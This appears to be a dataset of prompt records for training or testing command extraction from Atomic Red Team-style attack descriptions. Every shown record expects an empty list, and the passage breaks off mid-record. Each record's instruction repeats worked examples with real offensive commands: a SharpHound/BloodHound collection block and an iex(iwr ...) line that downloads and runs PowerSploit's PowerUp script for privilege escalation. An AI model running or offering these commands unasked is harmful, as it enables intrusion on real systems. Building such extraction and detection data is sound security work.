    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Modify the registry of the machine to disable remote desktop protocol.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary may wish to create an account with admin privileges to work with. In this test we create a \"art\" user with the password art, switch to art, execute whoami, exit and delete the art user.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Upon execution, a javascript block will be placed in the registry for persistence.\nAdditionally, open Registry Editor to view the modified entry in HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Uses dd to add a zero byte, high-quality random data, and low-quality random data to the binary to change the hash.\n\nUpon successful execution, dd will modify `/tmp/evil-binary`, therefore the expected hash will change.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test simulates pulling files using SCP on a Windows environment.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test uses `grep` to search a macOS Safari binaryCookies file for specified values. This was used by CookieMiner malware.\n\nUpon successful execution, MacOS shell will cd to `~/Libraries/Cookies` and grep for `Cookies.binarycookies`.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Stomps on the modification timestamp of a file\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Deletes a user in Azure AD. Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (excluding changed credentials) to remove access to accounts.",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters 